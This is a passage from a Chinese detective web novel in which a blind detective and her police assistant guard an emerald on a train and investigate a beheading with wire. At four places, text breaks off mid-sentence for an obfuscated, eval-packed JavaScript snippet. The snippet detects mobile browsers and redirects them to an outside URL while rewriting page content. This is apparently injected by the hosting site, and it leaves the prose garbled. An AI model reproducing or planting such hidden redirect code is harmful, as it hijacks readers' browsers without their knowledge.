绅士的表情停滞了一瞬,随后露出适时的微笑:“哦,当然,阿莉雅小姐的能力是毋庸置疑的。” “这位是特雷恩集团的代行理事杰拉德·特雷恩先生,是这次西奥多列车的总策划。”亚尔森在一旁负责介绍,“那枚祖母绿……” “那枚祖母绿是我从鸢尾花王国花了大价钱收购回来的。”杰拉德·特雷恩抚着自己打理得连弯钩都有着漂亮弧度的山羊胡,语气颇为自豪,“据说是从埃德里亚那的矿区采出来的,因为形状呈水滴形,所以我在买回来后就将其取名为‘西奥多’。” “原来如此,采用名贵的宝石和列车同名的宣传方式。”或许会有人对这种噱头买账吧,阿莉雅不太在意地跳过这个话题,“那么,怪盗C.N.的预告函呢?” “哦,那个可恶的卡萨诺瓦!”提起怪盗,杰拉德的表情染上一层阴云,“预告函在这里,我应该?”他拿不准是由他来念还是交给少女身旁的助手。 “卡萨诺瓦就是怪盗C.N.的名字,他在预告函的落款总是留下C.N.,因此我们也会简称他为C.N.。”谢德小声解释怪盗名字的由来,然后向杰拉德点头致意接过预告函,“交给我就好。” 预告函不出意外是由各种书籍报纸拼贴而成的,深浅不一的文字颜色让这种信函看起来就像是小朋友制作的。 谢德:“轰鸣的列车,昏暗的车厢,卡萨诺瓦将于此取走上帝的礼物——C.N.。” “西奥多列车的行驶时间是从早上九点直到抵达齿轮市的一点,在整段路程中只有一个点会让车厢变得昏暗。从字面意义上来看,卡萨诺瓦会在玫瑰镇到齿轮市的隧道中偷走宝石西奥多。”杰拉德轻咳两声,“不过,我会赌上特雷恩家的名义,不会让他得逞的!” “负责米德戴联盟交通运行的特雷恩集团主要的管理人都出自特雷恩家。”担心阿莉雅连这些知识也忘记,谢德在旁边小声补充,“不过这位先生在家族中不怎么起眼。”换句话说就是没有权力也没有地位。 阿莉雅确实不记得这些信息了,也可能是她还没来得及整理完杂乱的知识,一时之间无法对上号。“家族企业的弊端我以为已经有久远的历史可以印证了。” 谢德自行翻译理解了一下,大概是对以家族为核心发展企业,尤其是交通这种国家的基础建设由一个家族掌管不太满意。 “女王陛下已经安排人接管一大部分职位了。”谢德压低嗓音,“现在那些明面上的管理人都是吉祥物。” 听到这里,阿莉雅的表情又明朗了起来:“很好。” “我们已经准备好足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145548|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够亮的探照灯,在经过隧道前就会打开防止卡萨诺瓦在昏暗的环境下偷走宝石,所以阿莉雅小姐对我们的部署还有什么需要补充的地方吗?”杰拉德打了个响指,身后的人立刻按下探照灯的开关,一瞬间,从外面都能看见这节车厢泛着白光。 “除此之外呢?”阿莉雅找了个舒服的位置坐下,“从昨天到现在你们只讨论出这一个方案?” “当然不止。”杰拉德十分自豪地提出了他的点子,“我们在每节车厢都派了警察,这样在乘客们观赏西奥多时也不必担心会有卡萨诺瓦浑水摸鱼。” “等等。”阿莉雅皱眉,“乘客们观赏?” 杰拉德这才反应过来,似乎整个展览的核心还没有告知眼前的这名顾问:“原来您还不知道,前些天我们宣传时就登报告知了全米德戴联盟的人,此次的列车会在行驶过程中一同展示宝石西奥多。从车头开始,机关展示柜会载着宝石西奥多一路向前行进。等到列车进入隧道时,宝石会刚好抵达这节车厢。” 阿莉雅:“……” 她揉揉眉心问:“那么,机关展示柜的调试有异常吗?” “不必担心,前面几站都能顺利运行,乘客们的反应都很好。”杰拉德笑得开朗,“而且在整节车厢人的注视下,也没有乘客会上手触碰展示柜的玻璃。” 不觉得这种方案能够阻拦一个怪盗,但是阿莉雅目前也无法提出更好的改良方案,列车已经开始鸣笛了,各节车厢的人也已准备就绪。如果怪盗卡萨诺瓦是个笨蛋,那么这个手法说不定能行得通。 浑浊的气体从车头的烟囱中冒出,车身颤动,窗外的景色不断倒退。列车开始行驶了。 “谢德,有没有列车的路线图?”阿莉雅问。 从亚尔森那里借来印着路线的小册子,谢德坐在她旁边:“从玫瑰镇到齿轮市?” “不,从玫瑰镇起的所有。” “从玫瑰镇出发共有三条岔路,分别通往齿轮市、乌云市、时钟塔。通往齿轮市的路线位于其他两条中间,大约距此一半的路程会通过一条隧道。”谢德尽量用简洁精炼的语言描述,“通往时钟塔的路线大约三分之一的位置有一个站点,能够衔接两条线路。乌云市在大约三份之二的位置和我们的线路有衔接。” “也就是说ABC三条路线,AC两条线路都和B线衔接,只不过A线在靠前的位置,C线在靠后的位置,且只有B线有隧道。” “不,隧道的话,另外两条线路都有,在差不多的位置。” “所以,从玫瑰镇到乌云市和时钟塔的路程也和前往齿轮市差不多?” “是的,乌云市近海港,那里常年乌云密布,因此命名。时钟塔位于米德戴联盟的中心,是唯一脱离于女王控制之外的自治区域。” 这些阿莉雅倒还有些印象,只不过她似乎没有去过那两个地方。或许有,不过她现在也不记得了。 12. 行驶的西奥多·第三幕 “两位,不如去后面的豪华包厢歇息一下吧。”杰拉德·特雷恩在安排好后续事宜后迫不及待地走上前,“我们的计划万无一失,不必过于劳心。” 阿莉雅挑眉没有多说,谢德早已习惯代她社交:“那么就麻烦了。” “呵呵呵,不麻烦。”杰拉德摸着自己的小胡子,拄着手杖走在前方为两人带路,“西奥多列车和其他列车最大的不同之处,就在于每三节就拥有的完善储备。譬如能源、食物,就连驱动间也能够独立运行。” 他说着拉开一扇门,门后豪华的车厢内已有几人等候。 “特雷恩先生,怎么到这时候才过来?”一位身着黄色洋裙的女性笑着揽过杰拉德·特雷恩的手臂,“不是说好只过去一会儿,很快回来的吗?” “萨沙,我只是恰好遇见了阿莉雅小姐和她的助手。”杰拉德温和地解释,捧起萨沙的手在其手背上留下一个吻。 “阿莉雅……是那个阿莉雅小姐吗?”萨沙的表情一瞬间变得有些怪异,但很快恢复了亲和的面庞,“有阿莉雅小姐的帮助,想必一定能够保证宝石的平安吧。” “我们会尽力而为。”谢德没有把话说满。在过去几次和怪盗卡萨诺瓦的交锋中,谢德也见识到了那个家伙的难缠程度,如果是之前,他还能拍着胸脯保证“有阿莉雅在绝对没问题”,但是现在……希望阿莉雅能够提高警觉吧。 他倒不会担忧宝石丢失影响阿莉雅的名声。 “没想到科洛桑小姐也来了。”位于东南方座位的小姐放下手中的红茶站起来向几人的位置行礼,“莉达·塞西尔。” “塞西尔小姐的祖母就是米德戴联盟的女王。”谢德压低声音提醒阿莉雅,“你们以前见过几面,关系一般。” 阿莉雅了解地点头:“你好,塞西尔小姐。”停顿了几秒后她提着裙摆屈膝行礼。 “阿、阿莉雅小姐好久不见。”一位男性哭丧着脸被他身旁的中年人推上前,“没想到会在这里遇见,哈哈哈……” “哦,是尤塞恩哦。”阿莉雅听见声音很快就辨认出此人的身份,“昨天……” “感谢昨天阿莉雅小姐的照顾!”尤塞恩立马打断她的话,随后压低嗓音,“昨天的事还请不要外传,哈里布打点了关系,希望能把那件事压下。” “唔,虽然我觉得这件事是瞒不住的,既然你们坚持保密,好吧。”阿莉雅无奈地摊手。她不觉得鲁希尔这位接近一把手地位的人突然消失能够瞒住其他人。 谢德也在来的路上听阿莉雅简单叙述了过程,他同眼前人客套几句。 “好了好了,大家都坐下吧。”杰拉德向下按手示意几人入座,“五分钟后,本次旅程最重要的体验——旋转座位,可不能错过。” 阿莉雅还记得怀特和她描述过的如同花瓣一样能够旋转的包厢,只不过她在行走的过程中并没有察觉到轨道的存在。 “怎么了?”谢德注意到她的动作,低下头询问。 “这里似乎没有暗藏的轨道……那要如何旋转?”阿莉雅不解。 杰拉德一直关注着两人的一举一动,自然也没有错过这一对话:“当然,我们不可能让轨道破坏包厢的美感,自然将机关掩藏于地下。” “阿莉雅小姐的眼睛怎么了?”坐在他身旁的萨沙捂着嘴询问。她没有刻意压低声音,于是整个包厢的人都将目光聚集到阿莉雅身上。 少女无神的眼睛不复往日的灵动,这让与她有过接触的莉达·塞西尔皱眉:“三个月前的晚宴上还很正常……因为案子?” “没错,查案带来的一点小意外而已,不用放在心上。”阿莉雅没打算掩饰自己眼睛失明这件事,不如说,无法隐瞒。 “原来如此。”莉达·塞西尔点点头便挪开目光。 “这个样子还能够抓捕卡萨诺瓦吗……”萨沙面露担忧,“阿莉雅小姐还是好好休息吧,守护宝石的事情就交给我和杰拉德。” “呵。” 阿莉雅眨眨眼,没想到有人比她更先冷哼出声。 “守护宝石?开什么玩笑。”坐在西北方角落的女性双眼中烧着怒火,“你们那颗祖母绿都是从我的祖母那里骗走的,竟然还大言不惭地说守护宝石!” 杰拉德下意识地看向莉达·塞西尔的位置,随后皱眉看向那位愤怒的女性:“抱歉,贝尔女士,我不明白你的意思。” “不明白?”贝尔女士的胸前起伏不定,她一拍桌子站起,“好,既然你说不明白,就让塞西尔小姐来评评理,她不是你们女王的孙女吗,让她来审判你的罪孽!” 被牵扯进来的莉达·塞西尔表情平静:“还请两位冷静下来。”她灰色的眼眸在灯光下耀眼得如同星辰一般。“那么,请特雷恩先生讲述事情经过。” 见莉达真的开口为她做主,贝尔女士面带惊喜,随后用狼一般的眼神紧盯着杰拉德,只等他露出破绽就将其吞噬一净。 “杰拉德先生看上去很紧张。”谢德悄悄转述眼前的场景,“他抓着手杖,手背的青筋都凸起了。萨沙小姐也一样,不停地用手扇风。恐怕贝尔女士说的是真的。” 阿莉雅歪着脑袋:“不一定,只能说明他们确实做了亏心事。” “没想到塞西尔小姐会因为旁人的一面之词就质疑自己国家的民众。”杰拉德的喉结上下滚动,“鸢尾花王国的人一直都和米德戴联盟不对付,您就不怀疑她是为了破坏特雷恩家族和王室的友好合作关系而来的吗?” 莉达·塞西尔冷脸:“请描述事情经过,特雷恩先生,我不想重复第三遍。” “塞西尔小姐确实有些冲动,她这样做可能会影响两方的合作。”谢德有些担忧地皱眉,“女王陛下还要顾及舆论,至少要在表面同特雷恩家族保持良好往来。”他担心杰拉德骗取宝石的行径暴露,塞西尔小姐会让这家伙下不来台。 “不用想太多。”阿莉雅慢悠悠地品着红茶,“再怎么说,王室就是王室。如果杰拉德·特雷恩真的毫无防备,也不会邀请莉达·塞西尔上车了。” “诶,邀请?” “是哦。” 阿莉雅放下茶杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145549|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陶瓷底部相碰发出清脆的声音:“虽然我对那位塞西尔小姐没有过多的了解,不过她并不像是一位追赶潮流的人,对于宝石和会旋转的座位这种事情不会抱有太大的兴趣。不然她也不会选择角落的座位,比起来体验的客人更像是被邀请来此表示支持的嘉宾。” 王室的一员,如果真的想要体验,自然会选择最好的位置——中心。但是那位塞西尔小姐选择了角落,也就意味着她此行希望低调。 “虽然只是我的推测,不过我想,列车上的警察大概不只是来保护宝石的吧。”虽然莉达·塞西尔并没有继承王姓,但是她本人还是深受女王陛下疼爱的,这样一位贵族小姐来到特雷恩旗下的列车上,怎么可能会孤身一人。 谢德挠挠脸,明明关于塞西尔小姐的信息都是由他告知阿莉雅的,结果这样基本的推理还要由阿莉雅反过来告诉他。 “心率不齐、呼吸急促、判断力下降,你是警察,排除可能会有的疾病,剩下的结论只有一个:你现在正处于过度疲劳的状态。”阿莉雅用无神的眼睛看向谢德,“昨晚没睡?” 谢德按了按太阳穴:“不用担心,我会调整好的。”他确实一晚没睡。但凡休息半个小时也不可能会被阿莉雅发现破绽——毕竟熬夜工作对他来说是常态。 在接到那位护士小姐的电话后谢德连忙赶往事务所将阿莉雅的东西带上,收拾好自己的行李再坐上蒸汽马车也已经下午三点了。几乎是压着蒸汽马车的最快速度抵达了玫瑰镇。 途中要考虑马车的能源补给和下一补给站的距离,还要为阿莉雅能否恢复而忧虑,以及对她为什么能在自己被借调的三天里就惹出这样的麻烦而困惑。 “对了,顺便问你一件事。”阿莉雅撑着脸,“你知道我的男朋友是谁吗?” “哈?”谢德瞪大眼睛,怀疑自己的耳朵,“抱歉,我可能听错了,你说什么?” “我说,我的男、朋、友,你知道是谁吗?”阿莉雅苦恼地托着下巴,“我完全没有头绪呢。” 家人的存在只要顺着自己的姓氏一路向上搜索总能找到线索,因为链接着他们的是血缘、是姓氏,就像沿着树干总能触碰到树枝;朋友的存在根据关系网一步步扩大范围并不是什么困难的事情,每根树枝都有疏密相间的枝桠。但是,恋人,是完全可以脱离这些的存在,或许只是春色盎然的一天,树叶与清风相恋。 对方可以是从未见面的笔友,可以是熟悉的店员,可以是表面上水火不容的敌人,也可以是邻家温柔的哥哥。说不准会是潜伏在邪恶组织的卧底,亦或者两人是不被世俗允许的关系。换句话说,只要两人并没有对外宣称自己的关系,并且一致赞同保密,那么恋人这个存在就很难定位。 “……我从未听说过你有男朋友。”谢德深吸一口气,“你是不是搞错了?” 看吧。阿莉雅心想,就连自己的助手也没能察觉到的恋人。看来对方要么是身份特殊,要么就是…… “你在撒谎!”尖锐的声音仿佛要刺破耳膜,贝尔女士握拳砸向杰拉德。 13. 行驶的西奥多·第四幕 “你在撒谎!”贝尔女士毫不犹豫地向杰拉德·特雷恩挥拳,“你情我愿?自愿赠予?你在胡说什么!那是我祖母的遗物!” “哎呀哎呀,冷静冷静贝尔女士。”一位健壮的青年连忙拦住她的拳头,“塞西尔小姐还在这里呢。” “詹姆斯!快把这个女人带走!”杰拉德狼狈地扶着自己的帽子,“让她滚出这个车厢!” 詹姆斯为难地开口:“特雷恩先生,这位女士是通过正当渠道购票入场的,我们没有理由将她赶走。” 一旦有人把“特雷恩集团毫无缘由地将乘客赶出车厢”这件事宣扬出去,那么他们就真的无法掌控米德戴的交通运行,所有的权力收益都将收进女王的口袋。 杰拉德起伏不定的胸膛平复了下来,冷静过后他也醒悟:“啧,让这位女士坐在自己的座位上好好冷静。” 新的命令让詹姆斯舒展眉毛,他笑眯眯但不容贝尔女士质疑地将她按在座位上:“请您老实呆着。” 莉达·塞西尔:“特雷恩先生,据你所言,那块祖母绿的宝石是贝尔女士的祖母与你相爱后自愿赠予的,没错吧?” “是的。”杰拉德取下帽子行绅士礼,“绝无虚言。” “胡说!”贝尔女士想要站起来却被她身后的詹姆斯按了下去。 莉达示意贝尔女士冷静:“请保持情绪稳定,这样我们才能更好地交流。如果您对特雷恩先生的话有异议,请用言语反驳。我不赞同暴力行为。同样,特雷恩先生,请让您的同伴离开贝尔女士身边。” 詹姆斯在杰拉德的眼神示意下双手举起:“好的、好的。”他退至车厢门边。 “那么,贝尔女士,请。” 身着灰色礼服的女士在进行了几次深呼吸后,缓缓开口:“虽然那个混蛋欺骗了我的祖母,但他们的初遇确实浪漫。鸢尾花王国的一场初雪让他们相遇了。” “我的祖父在那时已经因为战争离开了三年,我的父母也在一场海难中逝世,我的祖母只能将所有心神都放在抚养我长大。但是,那个混蛋当时仗着一幅好皮囊和浅薄的才华让我祖母陷入了爱河。” “杰拉德·特雷恩多大?”阿莉雅悄悄问谢德。 谢德回想了一下以前整理的资料:“五十左右。” 阿莉雅顿了顿:“那,那位和他很亲密的萨沙小姐呢?” 谢德瞄了一眼那位黄裙子的女士:“二十岁……大约在二十五到三十岁之间。” “唔……”阿莉雅皱眉思索了一会儿,“果然人越年长的话,眼神就会变得不好呢。单冲着金钱,反而会更幸福。” 贝尔女士还在继续:“一开始,我的祖母向我介绍他时,我也很开心。在他们举办了婚礼后……” “婚礼?”莉达·塞西尔立刻扭头看向冷汗直流的男人,“特雷恩先生,如果我没记错的话,您已经有一位妻子了,并且她和您是青梅竹马的关系。” “什么!”贝尔女士的声音扭曲,“你不仅骗婚!甚至还重婚!” “我……” “休想用只举办了婚礼蒙混过去!”贝尔女士愤怒地从包里掏出一张证件,“你和我祖母的婚姻还未解除!你还是我法律意义上的祖父!” “按照米德戴联盟的法律规定,重婚罪属于刑事犯罪,可判处最长7年的监禁或流放。”阿莉雅补充说明。 谢德的手向后按在了腰间银色的手铐上,一旦定下杰拉德·特雷恩的罪行,他就会将他逮捕。 “不过这位特雷恩先生大概率是无罪的。”阿莉雅轻啧一声,“既然能让那位贝尔女士走进这间包厢,那么他自然也有应对。我想,杰拉德·特雷恩和他的妻子是在海外注册的婚姻。如果米德戴联盟不承认注册地的婚姻,那么按照本国的法律,自然是无效婚姻。” “等等,但他和我的祖母是在鸢尾花王国登记结婚的!”贝尔女士连忙将官方的印章亮给几人看。 阿莉雅摇摇头:“我说的不是贝尔女士的祖母,是杰拉德·特雷恩和他的青梅竹马女士。你们是在海外登记结婚的,对吧?”她后面一句问的是杰拉德。 杰拉德·特雷恩掏出手帕擦擦脑门上的汗,又慢条斯理地用手帕擦净手杖顶端镶嵌的绿宝石:“不愧是阿莉雅小姐,你说得完全正确。虽然我有自信不会被法律制裁,但是面对王室的审判,还是有点紧张呢。” 他转着手杖挑眉:“没错,所以我在法律上可没有犯下重婚罪。” “你这个混蛋!”贝尔女士捏紧手中的证件瞪向杰拉德,眼中的怒火像是要将对方焚烧殆尽般熊熊燃起。 莉达·塞西尔皱眉,这位特雷恩先生简直更新了她对人类道德底线的评估。 “虽然我还想指出,或许鸢尾花王国的法律会承认他的第一段婚姻。”阿莉雅遗憾,“但恐怕他早就做足了准备。” “你、你骗我的祖母结婚就是为了哄骗她的财产!”贝尔女士浑身颤抖,“我当时也没能看清你这个恶棍,竟然答应祖母的请求更改了遗嘱!” 阿莉雅表情不太好。谢德连忙低声问怎么了。 “如果是遗嘱赠予的财产,那么是没有理由夺回的。”阿莉雅小声解释,“鸢尾花王国的法律规定,在没有遗嘱的情况下,配偶只能获得四分之一的遗产,其余由子女继承。但是在遗嘱存在的情况下,一切以遗嘱为第一位。除非……能够证明那份遗嘱的无效性。” 谢德看向贝尔女士,摇摇头:“恐怕……我认为杰拉德不会留下这一破绽的。” “法律承认的婚姻,清晰的遗嘱。”阿莉雅叹气,“鸢尾花王国规定子女和配偶都享有强制的继承权,遗嘱也不能剥夺他们的份额。除非贝尔女士的祖母一分钱都没给她留,才能够让遗嘱无效——显然,不会发生这种情况。” 更可气的是,就算遗嘱里不打算给杰拉德留下遗产,法律的强制继承权只会让遗嘱无效化。 “我已经明白事情经过了。”莉达·塞西尔遗憾地看向贝尔女士,“我很抱歉,贝尔女士。按照法律规定来看,特雷恩先生获取宝石的手段是合法的。”即使是王室也不能公然否认法律。 贝尔女士不甘心,但在莉达明明白白地解释完法律条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145550|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例后,她只能吞咽着怒火坐回了自己的座位。 “哈哈哈,抱歉抱歉,一点私事影响了大家的心情。”杰拉德坐到中央的座位,举起酒杯向大家致歉,“差不多也到了机关启动的时间了,我们就在旋转的座位上享受接下来的旅程吧!” 莉达·塞西尔回到了自己东南方的座位,一直在旁边紧张观望的尤塞恩和他身边的中年人也在西南方的位置上就座。贝尔女士愤愤不平地在西北方的位置皱眉念叨着什么。阿莉雅和谢德,两人占了原本留给詹姆斯的位置,在谢德的邀请(已经过阿莉雅批准)下,詹姆斯和他们共同使用长沙发。 原本充斥着争吵的车厢一下子便安静了下来,在车身的摇晃中,谢德不知不觉闭上了眼睛。 “咚——”剧烈的摇晃让他瞬间绷紧了全身,双手下意识地护住阿莉雅,随后向窗外望去——风和日丽,毫无异常。 詹姆斯起身走向车厢外,不一会儿又摊着手回来:“不用担心,一点小意外,已经解决好了。”目光又落向窗户,沉吟片刻,他伸手敲了敲。确保无法推开后露出安心的笑容:“不愧是我们集团出品的列车,窗户的坚固程度完全不必担心。” 听见他的话,在场的人都放松了许多。谢德晃了晃脑袋,试图维持清醒。 “没关系,你睡吧。”阿莉雅开口,“有情况的话我会喊你的。” “不用。”谢德拍拍脸颊振作精神,“刚刚那一小会儿足够了……” “你确定吗?”阿莉雅伸手摸向他的脉搏,“心跳过速,呼吸急促。不用我多说了吧。” 没等谢德回应,阿莉雅继续说:“如果你坚持不睡的话,我只能用下个月的薪水来威胁你了。” 谢德腹诽,SP事务所的薪水本来也没有多少……不过他在警察局的薪水确实和阿莉雅连接紧密——毕竟她惹出来的麻烦,最终都会由他的奖金偿还。谁让阿莉雅·科洛桑小姐不拿警察局的薪水呢,上级只能靠削减他的奖金试图约束阿莉雅。 这招有点蠢,不过阿莉雅也稍微考虑到自己的助手心情,所以行为收敛了一点。现在……他只希望失忆的阿莉雅也能够体谅他的心情。 “快睡!”阿莉雅威胁,虽然她的表情就像一只龇牙的小猫,但是谢德还是老实地闭上了眼。之后确实会忙起来。 缓缓摇晃的车厢令人昏昏欲睡,几乎是刚闭上眼睛,谢德就陷入了沉睡。 他梦到了几天前,阿莉雅通知他被其他部门借调的事。 “谢德,搜查部门那边缺人,你去帮个忙。”阿莉雅咔擦咔擦吃着薯片通知他工作的事。 他第一反应是拒绝:“不去,为什么?” 阿莉雅另一只手从乱糟糟的桌子上翻出一份文件,完全无视他的话,自顾自地看着。 “阿莉雅,给我个理由” “谢德、谢德,醒醒。” 他被人晃醒,是阿莉雅。她低声说:“我们已经进入隧道了,但是刚刚我听周围的声音不太对劲……” 下一秒,昏暗的车厢大亮,一声尖叫划破:“啊——死人了!” 14. 行驶的西奥多·第五幕 “啊——死人了!”萨沙女士面色惊恐,鲜血从她的脸颊缓缓流下。 谢德立刻清醒,他掏出警察证让在场的所有人都保持在原地不要乱动。随后,他将视线落在那个仍在喷射出血液的方位——杰拉德·特雷恩所在的位置。 阿莉雅嗅到了空气中弥漫的铁锈味:“两分钟内。” 谢德:“不,是一分钟内。血液现在还在渗流。” 他弯腰看向杰拉德头颅滚落的位置:“阿莉雅,死者的脑袋落在接近西南方的位置,现场附近没有发现凶器。依照头颅上留下的痕迹来看……” “细长的挤压瘀痕?”阿莉雅皱眉打断,“进入隧道前我有听见细碎的似乎是在整理金属丝一样的声音。” “没错,从皮肤表面留下的痕迹观察,死者脖子上有红紫色的细长压痕,初步判断,凶手没能一次性完全切断死者的头颅,而是逐渐勒紧凶器后切割。”谢德环顾周围神色各异的人,“显然,凶手就在在座的几位之中。” 萨沙尖叫:“啊!一定是你,是你这个家伙杀害了杰拉德!”她的手指向詹姆斯。 詹姆斯摊手:“萨沙小姐,说话可是要有证据的。” “需要什么证据!就是你这个家伙!你不是一直想取代杰拉德控制乌云市周边的交通运输吗?”萨沙恨恨地看向詹姆斯,“而且在座的人里面,除了那位警察先生,只有你有足够的力气割断人的脑袋吧!” “谢德。”阿莉雅呼唤,“检查所有人的手。一旦发现有人手上有伤,立刻逮捕。” “好。”谢德站起身,先往西南方向贝尔女士的位置进行检查。 “为什么要检查我们的手?”萨沙很不满。 “钢琴线能割断人的脖子自然也能在凶手身上留下痕迹。”阿莉雅淡淡开口,“当然,除了手上是否有伤口外,我们还可以通过每个人身上留下的血迹进行验证。” “你说什么呢!”萨沙气得跺脚,“所有人里面只有我身上有血,你的意思是,我就是凶手吗?” “我没有这么说过。”阿莉雅再次皱眉,“我又看不见。” 萨沙抿嘴终于安静了下来。谢德正好走过来检查她的手。但在他看见萨沙的手时顿了一下,不同这位小姐青春靓丽的外表给人带来的感觉,她的手上布满了长期劳作留下的痕迹,除了中指上那枚银戒,几乎无法想象她是一位二十多岁的年轻女性。 “阿莉雅,没有人手上有伤。”谢德压低声音将刚才他的所见一一描述,“也没人身上有疑似凶器,我建议还是联系其他车厢的同事过来帮忙搜身吧。” 阿莉雅点头:“顺便让人查一下杰拉德的随身物品都在哪。” 五分钟后,谢德凝重了表情从前一列车厢回来了。 “阿莉雅,宝石西奥多没有按时回到前面的车厢,杰拉德的人说宝石恐怕是被怪盗卡萨诺瓦偷走了。现在所有的警察都在其他车厢排查可疑人员。”也就是说,现在能用的警察只有谢德一人了。 “什么?宝石被偷走了?”贝尔女士惊讶起身,“是那个怪盗?”她呆站在原地几秒后缓缓滑落至座位:“也好,也好……”总比落在杰拉德那个混蛋手里要好。 阿莉雅沉吟片刻:“嗯……塞西尔小姐,麻烦你负责检查贝尔女士以及萨沙小姐是否携带了可疑物品。” “等等,为什么让她来?”萨沙小姐很不服气,“不应该是我们互相搜身吗?” “塞西尔小姐没有作案动机,也没有作案的可能。”阿莉雅在这种时候还是很有耐心的,“首先,车厢的座位是会旋转的,而塞西尔小姐的位置从原来的东南方向转到了东北方向。死者的脑袋落在西南方向,而在我们出了隧道后血液还在喷射这点可以看出,他的死亡时间就在出隧道前的几分钟内,且说明凶手可能站在受害者的东北方向扯动了凶器。” “那不就正好……” “然而死者本身的座位就是背朝西南方的位置,而他的对面——萨沙小姐,你也位于东北方。如果真的是塞西尔小姐,你会没有察觉到她的动作吗?”阿莉雅摆摆手,“总之,塞西尔小姐,麻烦你搜查了。” “好的。”莉达·塞西尔点头答应了。 “好像也不能完全排除塞西尔小姐的嫌疑吧。”谢德小声询问。 阿莉雅:“她一个王室,真想让一个人消失有数不尽的方法。而且这种割首的杀害方式,显然充满了泄愤的意思。凶手对死者有强烈的怨恨,甚至是对死者身份与人格的极端否定。显然,凶手不可能是她。” 谢德若有所思:“也就是说,那位贝尔女士就更加可疑了。” “你去给那位詹姆斯搜身,尤塞恩那边就不用管了,这次的案子和他们没什么关系。” 搜查仍然一无所获。 “检查手也检查了,搜身也搜了,现在应该给我们一个结果了吧。”萨沙小姐抱着胳膊不满道。 “很遗憾,就算是我也不能这么快就给人定罪。”阿莉雅摊手,“请大家各自叙述一下进入隧道后都在做什么吧,我想这对我们锁定凶手会有一定的帮助。顺带一提,我当时和我的助手坐在长沙发上没有动过。” “我们也在长沙发上没有离开过。”尤塞恩连忙开口,“我的经纪人和我都没有动过。” 贝尔女士:“我有点困,所以在沙发上睡了一觉。” 詹姆斯:“我摸黑倒了一杯水烫到了手,不过刚刚那位警察小哥检查过认为烫伤和案件没关系。” 莉达·塞西尔:“我在座位上,没有离开过。不过我听见了细微的金属摩擦的声音。” 萨沙小姐:“我?我坐在单人沙发上,因为很紧张所以一直闭着眼睛。” “紧张?”阿莉雅笑了,“不会是因为担心卡萨诺瓦会来偷走宝石所以紧张吧。” “对啊,对啊,那可是怪盗卡萨诺瓦。”萨沙点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145551|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“想偷的东西从未落空过的怪盗诶。” “不过刚刚警察先生说自动展示柜没能顺利抵达前面一节的车厢,也就是说,卡萨诺瓦已经得手了吧,宝石西奥多。”尤塞恩若有所思。 阿莉雅摇头:“宝石的丢失与否现在没有那么重要,还请大家把注意力集中在这次的案件上。除了塞西尔小姐,还有人听见金属的声音吗?” 詹姆斯摸着下巴回忆:“金属……啊,我好像是有听过,大概是‘嗖——’这样的声音。像是有什么东西被拉直了一样。” 尤塞恩:“声音,嗯……应该和案件没关系吧……” “有没有关系是由我来判断的,无论听见了什么都要说。”阿莉雅不赞同地开口。 和自己的经纪人对视了一眼,尤塞恩地脸唰得一下红了:“就是……就是有水声。” 在场的所有人在看见他通红的脸再联想到水声后,全都默契地挪开了视线。只有看不见的阿莉雅疑惑:“水声?是詹姆斯先生倒水的声音吧,你和我们离得不远,听见不是很正常吗?” 谢德捂着脸,搭上阿莉雅的肩制止:“咳,那个,阿莉雅,那个水声大概不是那么一回事。” 阿莉雅迷茫地眨眨眼,在感受到肩上的手心发烫后恍然大悟:“哦,原来是做——” 捂住阿莉雅的嘴,防止她说出这个年纪不应该说出口的话,谢德低声拜托:“不要这么正大光明地说出这个词。” “好吧。”阿莉雅闷闷地开口,“麻烦放开。” 恢复说话自由后,阿莉雅轻咳两声:“咳咳,那么,很显然,在座的所有人中,能够发出水声的也只有杰拉德·特雷恩和萨沙小姐两人——” 谢德再次捂住阿莉雅的嘴:“喂,为什么还要提这件事啊!” 